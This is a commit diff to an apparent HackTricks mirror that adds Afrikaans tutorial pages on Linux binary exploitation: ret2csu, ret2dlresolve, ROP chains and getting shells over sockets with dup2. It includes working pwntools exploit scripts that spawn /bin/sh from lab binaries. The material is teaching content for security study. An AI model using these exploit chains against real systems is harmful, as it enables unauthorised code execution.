mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/common-
This commit is contained in:
parent
2885ea8e62
commit
af34731de2
8 changed files with 513 additions and 20 deletions
|
@ -699,10 +699,13 @@
|
|||
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md)
|
||||
* [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md)
|
||||
* [Ret2csu](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
|
@ -720,6 +723,7 @@
|
|||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
|
|
|
@ -0,0 +1,56 @@
|
|||
# Algemene Uitbuitingsprobleme
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## FD's in Afgeleë Uitbuiting
|
||||
|
||||
Wanneer 'n uitbuiting na 'n afgeleë bediener gestuur word wat byvoorbeeld **`system('/bin/sh')`** aanroep, sal dit natuurlik in die bedienerproses uitgevoer word, en `/bin/sh` sal inset vanaf stdin (FD: `0`) verwag en die uitset in stdout en stderr (FD's `1` en `2`) afdruk. Dus sal die aanvaller nie kan interaksie hê met die skaal nie.
|
||||
|
||||
'n Manier om dit te reg te stel, is om te veronderstel dat toe die bediener begin het, dit die **FD-nommer `3`** (vir luister) geskep het en dat jou verbinding dan in die **FD-nommer `4`** gaan wees. Daarom is dit moontlik om die syscall **`dup2`** te gebruik om die stdin (FD 0) en die stdout (FD 1) te dupliseer in die FD 4 (die een van die aanvaller se verbinding) sodat dit moontlik is om die skaal te kontak sodra dit uitgevoer is.
|
||||
|
||||
[**Uitbuitingsvoorbeeld vanaf hier**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = remote('localhost', 9001)
|
||||
|
||||
rop = ROP(elf)
|
||||
rop.raw('A' * 40)
|
||||
rop.dup2(4, 0)
|
||||
rop.dup2(4, 1)
|
||||
rop.win()
|
||||
|
||||
p.sendline(rop.chain())
|
||||
p.recvuntil('Thanks!\x00')
|
||||
p.interactive()
|
||||
```
|
||||
## Socat & pty
|
||||
|
||||
Let wel dat socat reeds `stdin` en `stdout` na die soket oordra. Die `pty` modus **sluit DELETE karakters in**. Dus, as jy 'n `\x7f` (`DELETE` -) stuur, sal dit **die vorige karakter** van jou aanval verwyder.
|
||||
|
||||
Om hierdie te omseil, moet die **ontsnappingskarakter `\x16` voorafgegaan word deur enige `\x7f` wat gestuur word.**
|
||||
|
||||
**Hier kan jy** [**'n voorbeeld van hierdie gedrag vind**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,87 @@
|
|||
# Ret2csu
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**ret2csu** is 'n haktegniek wat gebruik word wanneer jy probeer om beheer oor 'n program te neem, maar nie die **gadgets** kan vind wat jy gewoonlik gebruik om die program se gedrag te manipuleer nie. 
|
||||
|
||||
Wanneer 'n program sekere biblioteke gebruik (soos libc), het dit 'n paar ingeboude funksies om te bestuur hoe verskillende dele van die program met mekaar praat. Onder hierdie funksies is daar 'n paar verborge juwele wat as ons ontbrekende gadgets kan optree, veral een genaamd `__libc_csu_init`.
|
||||
|
||||
### Die Tovergadgets in \_\_libc\_csu\_init
|
||||
|
||||
In `__libc_csu_init` is daar twee reekse instruksies (ons "tovergadgets") wat uitstaan:
|
||||
|
||||
1. Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Dit is soos gleuwe waar ons getalle of adresse wat ons later wil gebruik, kan stoor.
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
pop r12;
|
||||
pop r13;
|
||||
pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
Hierdie gadget stel ons in staat om hierdie registers te beheer deur waardes van die stok af te haal en in hulle te plaas.
|
||||
|
||||
2. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
|
||||
* **Beweeg spesifieke waardes na ander registers**, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
|
||||
* **Voer 'n oproep na 'n plek uit** wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
|
||||
```
|
||||
mov rdx, r14;
|
||||
mov rsi, r13;
|
||||
mov edi, r12d;
|
||||
call qword [r15 + rbx*8];
|
||||
```
|
||||
## Voorbeeld
|
||||
|
||||
Stel jy wil 'n syscall maak of 'n funksie soos `write()` aanroep, maar jy het spesifieke waardes in die `rdx` en `rsi` registers as parameters nodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk instel, maar jy kan nie enige vind nie.
|
||||
|
||||
Hier is waar **ret2csu** in die prentjie kom:
|
||||
|
||||
1. **Stel die Registers Op**: Gebruik die eerste "magic gadget" om waardes van die stok af te haal en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
|
||||
2. **Gebruik die Tweede Gadget**: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` te plaas (vanaf r14 en r13 onderskeidelik), wat parameters gereed maak vir 'n funksieoproep. Verder, deur `r15` en `rbx` te beheer, kan jy die program 'n funksie laat aanroep wat by die adres geleë is wat jy bereken en in `[r15 + rbx*8]` plaas.
|
||||
|
||||
Jy het 'n [**voorbeeld wat hierdie tegniek gebruik en dit verduidelik hier**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), en hierdie is die finale uitbuiting wat dit gebruik het:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
|
||||
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
|
||||
RW_LOC = 0x00404028
|
||||
|
||||
rop.raw('A' * 40)
|
||||
rop.gets(RW_LOC)
|
||||
rop.raw(POP_CHAIN)
|
||||
rop.raw(0) # r12
|
||||
rop.raw(0) # r13
|
||||
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
|
||||
rop.raw(RW_LOC) # r15 - holds location of called function!
|
||||
rop.raw(REG_CALL) # all the movs, plus the call
|
||||
|
||||
p.sendlineafter('me\n', rop.chain())
|
||||
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Let wel dat die vorige aanval nie bedoel is om 'n **`RCE`** uit te voer nie, dit is bloot bedoel om 'n funksie genaamd `win` aan te roep (die adres van `win` neem van stdin deur gets in die ROP-ketting te roep en dit in r15 te stoor) met 'n derde argument met die waarde `0xdeadbeefcafed00d`.
|
||||
{% endhint %}
|
||||
|
||||
### Hoekom nie net libc direk gebruik nie?
|
||||
|
||||
Gewoonlik is hierdie gevalle ook vatbaar vir [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()`-funksie vereis drie parameters, en **dit mag nie moontlik wees om gadgets te vind om al hierdie direk in te stel nie**.
|
|
@ -0,0 +1,88 @@
|
|||
# Ret2dlresolve
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binêre lêers sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) oplos die eerste keer as hulle gebruik word. Hierdie oplossing vind plaas deur die funksie **`_dl_runtime_resolve`** te roep.
|
||||
|
||||
Die **`_dl_runtime_resolve`**-funksie neem vanaf die stok verwysings na sekere strukture wat dit nodig het om die gespesifiseerde simbool op te los.
|
||||
|
||||
Daarom is dit moontlik om **al hierdie strukture te vervals** om die dinamies gekoppelde oplossing van die versoekte simbool (soos die **`system`**-funksie) te maak en dit met 'n gekonfigureerde parameter te roep (bv. **`system('/bin/sh')`**).
|
||||
|
||||
Gewoonlik word al hierdie strukture vervals deur 'n **aanvanklike ROP-ketting wat `read` aanroep** oor 'n skryfbare geheue, dan die **strukture** en die string **`'/bin/sh'`** word deurgegee sodat hulle deur `read` in 'n bekende plek gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** te roep met die adres na `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Hierdie tegniek is veral nuttig as daar nie syscall-gadgets is (om tegnieke soos [**ret2syscall**](rop-syscall-execv.md) of [SROP](srop-sigreturn-oriented-programming.md) te gebruik) en daar is nie maniere om libc-adresse te lek nie.
|
||||
{% endhint %}
|
||||
|
||||
Jy kan 'n beter verduideliking oor hierdie tegniek vind in die tweede helfte van die video:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Strukture
|
||||
|
||||
Dit is nodig om 3 strukture te vervals: **`JMPREL`**, **`STRTAB`** en **`SYMTAB`**. Jy het 'n beter verduideliking oor hoe hierdie gebou word in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Aanval Opsomming
|
||||
|
||||
1. Skryf valse strukture op 'n plek
|
||||
2. Stel die eerste argument van system in (`$rdi = &'/bin/sh'`)
|
||||
3. Stel op die stok die adresse na die strukture in om **`_dl_runtime_resolve`** te roep
|
||||
4. Roep **`_dl_runtime_resolve`** aan
|
||||
5. **`system`** sal opgelos en geroep word met `'/bin/sh'` as argument
|
||||
|
||||
## Voorbeeld
|
||||
|
||||
Jy kan 'n [**voorbeeld van hierdie tegniek hier vind**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **wat 'n baie goeie verduideliking van die finale ROP-ketting bevat**, maar hier is die finale aanval wat gebruik is:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln', checksec=False)
|
||||
p = elf.process()
|
||||
rop = ROP(elf)
|
||||
|
||||
# create the dlresolve object
|
||||
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
|
||||
|
||||
rop.raw('A' * 76)
|
||||
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
|
||||
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
|
||||
|
||||
log.info(rop.dump())
|
||||
|
||||
p.sendline(rop.chain())
|
||||
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,19 +16,19 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## **Basiese Inligting**
|
||||
|
||||
**Return-Oriented Programming (ROP)** is 'n gevorderde uitbuitingstegniek wat gebruik word om sekuriteitsmaatreëls soos **No-Execute (NX)** of **Data Execution Prevention (DEP)** te omseil. In plaas van om shellcode in te spuit en uit te voer, maak 'n aanvaller gebruik van stukke kode wat reeds teenwoordig is in die binêre lêer of in gelaai biblioteke, bekend as **"gadgets"**. Elke gadget eindig tipies met 'n `ret` instruksie en voer 'n klein operasie uit, soos die skuif van data tussen registre of die uitvoer van rekenkundige operasies. Deur hierdie gadgets aan mekaar te koppel, kan 'n aanvaller 'n lading konstrueer om arbitrêre operasies uit te voer, wat effektief NX/DEP-beskerming omseil.
|
||||
**Return-Oriented Programming (ROP)** is 'n gevorderde uitbuitingstegniek wat gebruik word om sekuriteitsmaatreëls soos **No-Execute (NX)** of **Data Execution Prevention (DEP)** te omseil. In plaas van om shellkode in te spuit en uit te voer, maak 'n aanvaller gebruik van stukke kode wat reeds teenwoordig is in die binêre lêer of in gelaai biblioteke, bekend as **"gadgets"**. Elke gadget eindig tipies met 'n `ret` instruksie en voer 'n klein operasie uit, soos die skuif van data tussen registre of die uitvoer van rekenkundige operasies. Deur hierdie gadgets aan mekaar te koppel, kan 'n aanvaller 'n lading konstrueer om arbitrêre operasies uit te voer, wat NX/DEP-beskerming effektief omseil.
|
||||
|
||||
### Hoe ROP Werk
|
||||
|
||||
1. **Beheerstroomkaping**: Eerstens moet 'n aanvaller die beheerstroom van 'n program kap, tipies deur 'n buffer-oorvloei te benut om 'n gestoorde terugkeeradres op die stok oor te skryf.
|
||||
2. **Gadgetketting**: Die aanvaller kies dan sorgvuldig en koppel gadgets om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep behels, die aanroep van die funksie (bv., `system("/bin/sh")`), en die hanteer van enige nodige skoonmaak of bykomende operasies.
|
||||
2. **Gadget-ketting**: Die aanvaller kies dan sorgvuldig gadgets en koppel hulle aan mekaar om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep behels, die aanroep van die funksie (bv., `system("/bin/sh")`), en die hanteer van enige nodige skoonmaak of bykomende operasies.
|
||||
3. **Ladinguitvoering**: Wanneer die kwesbare funksie terugkeer, begin dit in plaas van om na 'n wettige plek terug te keer, die ketting van gadgets uitvoer.
|
||||
|
||||
## ROP-ketting in x86 Voorbeeld
|
||||
|
||||
### **x86 (32-bis) Oproepkonvensies**
|
||||
|
||||
* **cdecl**: Die aanroeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde (regs-links) op die stok gedruk. **Argumente word van regs na links op die stok gedruk.**
|
||||
* **cdecl**: Die aanroeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde (regs-na-links) op die stok gedruk. **Argumente word van regs na links op die stok gedruk.**
|
||||
* **stdcall**: Soortgelyk aan cdecl, maar die ontvanger is verantwoordelik vir die skoonmaak van die stok.
|
||||
|
||||
### **Vind Gadgets**
|
||||
|
@ -42,10 +42,10 @@ Eerstens, laat ons aanneem dat ons die nodige gadgets binne die binêre lêer of
|
|||
|
||||
### **ROP-ketting**
|
||||
|
||||
Met behulp van **pwntools** berei ons die stok voor vir die uitvoering van die ROP-ketting soos volg met die doel om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
|
||||
Met behulp van **pwntools** berei ons die stok voor vir die uitvoering van die ROP-ketting soos hieronder gemik om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
|
||||
|
||||
1. 'n `ret` instruksie vir uitlyn doeleindes (opsioneel)
|
||||
2. Adres van `system`-funksie (onder die aanname dat ASLR uitgeskakel is en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
|
||||
2. Adres van `system`-funksie (onder die veronderstelling dat ASLR uitgeskakel is en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
|
||||
3. Plekhouer vir die terugkeeradres van `system()`
|
||||
4. `"/bin/sh"` string-adres (parameter vir stelsel funksie)
|
||||
```python
|
||||
|
@ -86,21 +86,21 @@ p.interactive()
|
|||
### **x64 (64-biet) Oproepkonvensies**
|
||||
|
||||
* Gebruik die **System V AMD64 ABI** oproepkonvensie op Unix-soortgelyke stelsels, waar die **eerste ses heelgetal- of wyservariabele argumente in die register `RDI`, `RSI`, `RDX`, `RCX`, `R8`, en `R9`** oorgedra word. Addisionele argumente word op die stok oorgedra. Die terugvoerwaarde word in `RAX` geplaas.
|
||||
* Die **Windows x64** oproepkonvensie gebruik `RCX`, `RDX`, `R8`, en `R9` vir die eerste vier heelgetal- of wyservariabele argumente, met addisionele argumente wat op die stok oorgedra word. Die terugvoerwaarde word in `RAX` geplaas.
|
||||
* **Register**: 64-biet register sluit in `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, en `R8` tot `R15`.
|
||||
* **Windows x64** oproepkonvensie gebruik `RCX`, `RDX`, `R8`, en `R9` vir die eerste vier heelgetal- of wyservariabele argumente, met addisionele argumente wat op die stok oorgedra word. Die terugvoerwaarde word in `RAX` geplaas.
|
||||
* **Registers**: 64-biet registers sluit in `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, en `R8` tot `R15`.
|
||||
|
||||
#### **Vind Gadgets**
|
||||
|
||||
Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die **RDI** register in te stel (om die **"/bin/sh"** string as 'n argument aan **system()** oor te dra) en dan die **system()** funksie aan te roep. Ons aanvaar dat ons die volgende gadgets geïdentifiseer het:
|
||||
|
||||
* **pop rdi; ret**: Haal die boonste waarde van die stok uit in **RDI** en keer dan terug. Essensieel om ons argument vir **system()** in te stel.
|
||||
* **ret**: 'n Eenvoudige terugkeer, nuttig vir stok belyning in sommige scenario's.
|
||||
* **pop rdi; ret**: Haal die boonste waarde van die stok in **RDI** uit en keer dan terug. Essensieel om ons argument vir **system()** in te stel.
|
||||
* **ret**: 'n Eenvoudige terugkeer, nuttig vir stokuitlyn in sommige scenario's.
|
||||
|
||||
En ons weet die adres van die **system()** funksie.
|
||||
|
||||
### **ROP Ketting**
|
||||
|
||||
Hieronder is 'n voorbeeld wat **pwntools** gebruik om 'n ROP-keetting op te stel en uit te voer met die doel om **system('/bin/sh')** uit te voer op **x64**:
|
||||
Hieronder is 'n voorbeeld wat **pwntools** gebruik om 'n ROP-ketting op te stel en uit te voer met die doel om **system('/bin/sh')** op **x64** uit te voer:
|
||||
```python
|
||||
pythonCopy codefrom pwn import *
|
||||
|
||||
|
@ -170,7 +170,7 @@ Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op
|
|||
[ret2lib](ret2lib/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Ret2Syscall**: Gebruik ROP om 'n oproep na 'n stelselooproep voor te berei, bv. `execve`, en maak dit moontlik om arbitrêre opdragte uit te voer.
|
||||
* **Ret2Syscall**: Gebruik ROP om 'n oproep na 'n stelseloortjie voor te berei, bv. `execve`, en maak dit moontlik om arbitrêre opdragte uit te voer.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
|
@ -178,8 +178,8 @@ Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op
|
|||
|
||||
* **EBP2Ret & EBP Chaining**: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik beheer met EBP-adresse (hoewel dit ook nodig is om EIP te beheer).
|
||||
|
||||
{% content-ref url="ebp2ret-ebp-chaining.md" %}
|
||||
[ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md)
|
||||
{% content-ref url="stack-pivoting-ebp2ret-ebp-chaining.md" %}
|
||||
[stack-pivoting-ebp2ret-ebp-chaining.md](stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
|
|
@ -25,7 +25,7 @@ Om die oproep vir die **syscall** voor te berei, is die volgende konfigurasie no
|
|||
* `rsi: 0 spesifiseer geen argumente wat oorgedra word nie`
|
||||
* `rdx: 0 spesifiseer geen omgewingsveranderlikes wat oorgedra word nie`
|
||||
|
||||
Dus, dit is basies nodig om die string `/bin/sh` êrens te skryf en dan die `syscall` uit te voer (met bewustheid van die vulsel wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om `/bin/sh` in 'n bekende area te skryf.
|
||||
Dus, dit is basies nodig om die string `/bin/sh` êrens te skryf en dan die `syscall` uit te voer (met bewustheid van die vulsel wat nodig is om die stapel te beheer). Hiervoor benodig ons 'n gadget om `/bin/sh` in 'n bekende area te skryf.
|
||||
|
||||
{% hint style="success" %}
|
||||
'n Ander interessante syscall om te roep is **`mprotect`** wat 'n aanvaller in staat sou stel om **die toestemmings van 'n bladsy in geheue te wysig**.
|
||||
|
